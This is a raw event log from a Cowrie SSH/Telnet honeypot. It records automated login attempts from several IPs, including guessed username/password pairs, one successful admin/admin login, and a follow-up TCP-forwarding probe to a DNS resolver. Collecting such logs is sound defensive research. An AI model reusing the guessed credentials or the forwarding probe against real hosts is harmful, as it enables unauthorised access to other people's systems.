{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:26.887922Z","src_ip":"87.251.64.176","session":"0579b16794d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:27.178621Z","src_ip":"87.251.64.176","session":"0579b16794d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:27.302998Z","session":"0579b16794d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:27.401572Z","src_ip":"87.251.64.176","session":"0579b16794d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:27.501290Z","src_ip":"87.251.64.176","session":"0579b16794d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":54138,"dst_ip":"159.203.135.109","dst_port":22,"session":"a047f594a3f2","protocol":"ssh","message":"New connection: 163.245.222.56:54138 (159.203.135.109:22) [session: a047f594a3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:46.605488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:46.610740Z","src_ip":"163.245.222.56","session":"a047f594a3f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:46.620269Z","src_ip":"163.245.222.56","session":"a047f594a3f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unreal","message":"login attempt [root/unreal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:46.671812Z","src_ip":"163.245.222.56","session":"a047f594a3f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":35312,"dst_ip":"159.203.135.109","dst_port":22,"session":"17dcb6b7b7dc","protocol":"ssh","message":"New connection: 2.27.36.16:35312 (159.203.135.109:22) [session: 17dcb6b7b7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:47.650009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:47.658314Z","src_ip":"2.27.36.16","session":"17dcb6b7b7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:47.680774Z","src_ip":"163.245.222.56","session":"a047f594a3f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:47.756873Z","src_ip":"2.27.36.16","session":"17dcb6b7b7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:48.168738Z","src_ip":"2.27.36.16","session":"17dcb6b7b7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:49.268801Z","src_ip":"2.27.36.16","session":"17dcb6b7b7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":45052,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc5962a7473c","protocol":"ssh","message":"New connection: 43.135.166.146:45052 (10.17.0.5:22) [session: bc5962a7473c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:50.285382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:50.289260Z","src_ip":"43.135.166.146","session":"bc5962a7473c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:50.360848Z","src_ip":"43.135.166.146","session":"bc5962a7473c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:50.672433Z","src_ip":"43.135.166.146","session":"bc5962a7473c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":41888,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3d55a964c6","protocol":"ssh","message":"New connection: 41.181.156.205:41888 (159.203.135.109:22) [session: cb3d55a964c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:51.107087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:51.112650Z","src_ip":"41.181.156.205","session":"cb3d55a964c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:51.360133Z","src_ip":"41.181.156.205","session":"cb3d55a964c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:51.745200Z","src_ip":"43.135.166.146","session":"bc5962a7473c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:52.377409Z","src_ip":"41.181.156.205","session":"cb3d55a964c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:53.636981Z","src_ip":"41.181.156.205","session":"cb3d55a964c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.245.166.57","src_port":52804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3056833f12e","protocol":"telnet","message":"New connection: 190.245.166.57:52804 (10.17.0.5:23) [session: d3056833f12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:04:26.787796Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":43810,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fdb06f2784d","protocol":"ssh","message":"New connection: 163.245.222.56:43810 (159.203.135.109:22) [session: 7fdb06f2784d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:04:55.950958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:04:55.959519Z","src_ip":"163.245.222.56","session":"7fdb06f2784d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:04:55.965879Z","src_ip":"163.245.222.56","session":"7fdb06f2784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2018","message":"login attempt [root/Admin2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:04:56.022159Z","src_ip":"163.245.222.56","session":"7fdb06f2784d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:04:57.031386Z","src_ip":"163.245.222.56","session":"7fdb06f2784d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":47316,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3c3bf43b1b1","protocol":"ssh","message":"New connection: 43.135.166.146:47316 (10.17.0.5:22) [session: b3c3bf43b1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:05.621727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:05.634992Z","src_ip":"43.135.166.146","session":"b3c3bf43b1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:05.705223Z","src_ip":"43.135.166.146","session":"b3c3bf43b1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paulo123","message":"login attempt [root/paulo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:06.012267Z","src_ip":"43.135.166.146","session":"b3c3bf43b1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:07.088966Z","src_ip":"43.135.166.146","session":"b3c3bf43b1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":42948,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb73e84a7e61","protocol":"ssh","message":"New connection: 2.27.36.16:42948 (159.203.135.109:22) [session: bb73e84a7e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:10.619529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:10.627042Z","src_ip":"2.27.36.16","session":"bb73e84a7e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:10.727764Z","src_ip":"2.27.36.16","session":"bb73e84a7e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:11.158888Z","src_ip":"2.27.36.16","session":"bb73e84a7e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:12.259715Z","src_ip":"2.27.36.16","session":"bb73e84a7e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":54442,"dst_ip":"159.203.135.109","dst_port":22,"session":"21b1d3183076","protocol":"ssh","message":"New connection: 41.181.156.205:54442 (159.203.135.109:22) [session: 21b1d3183076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:19.008994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:05:19.015264Z","src_ip":"41.181.156.205","session":"21b1d3183076","protocol":"ssh"}
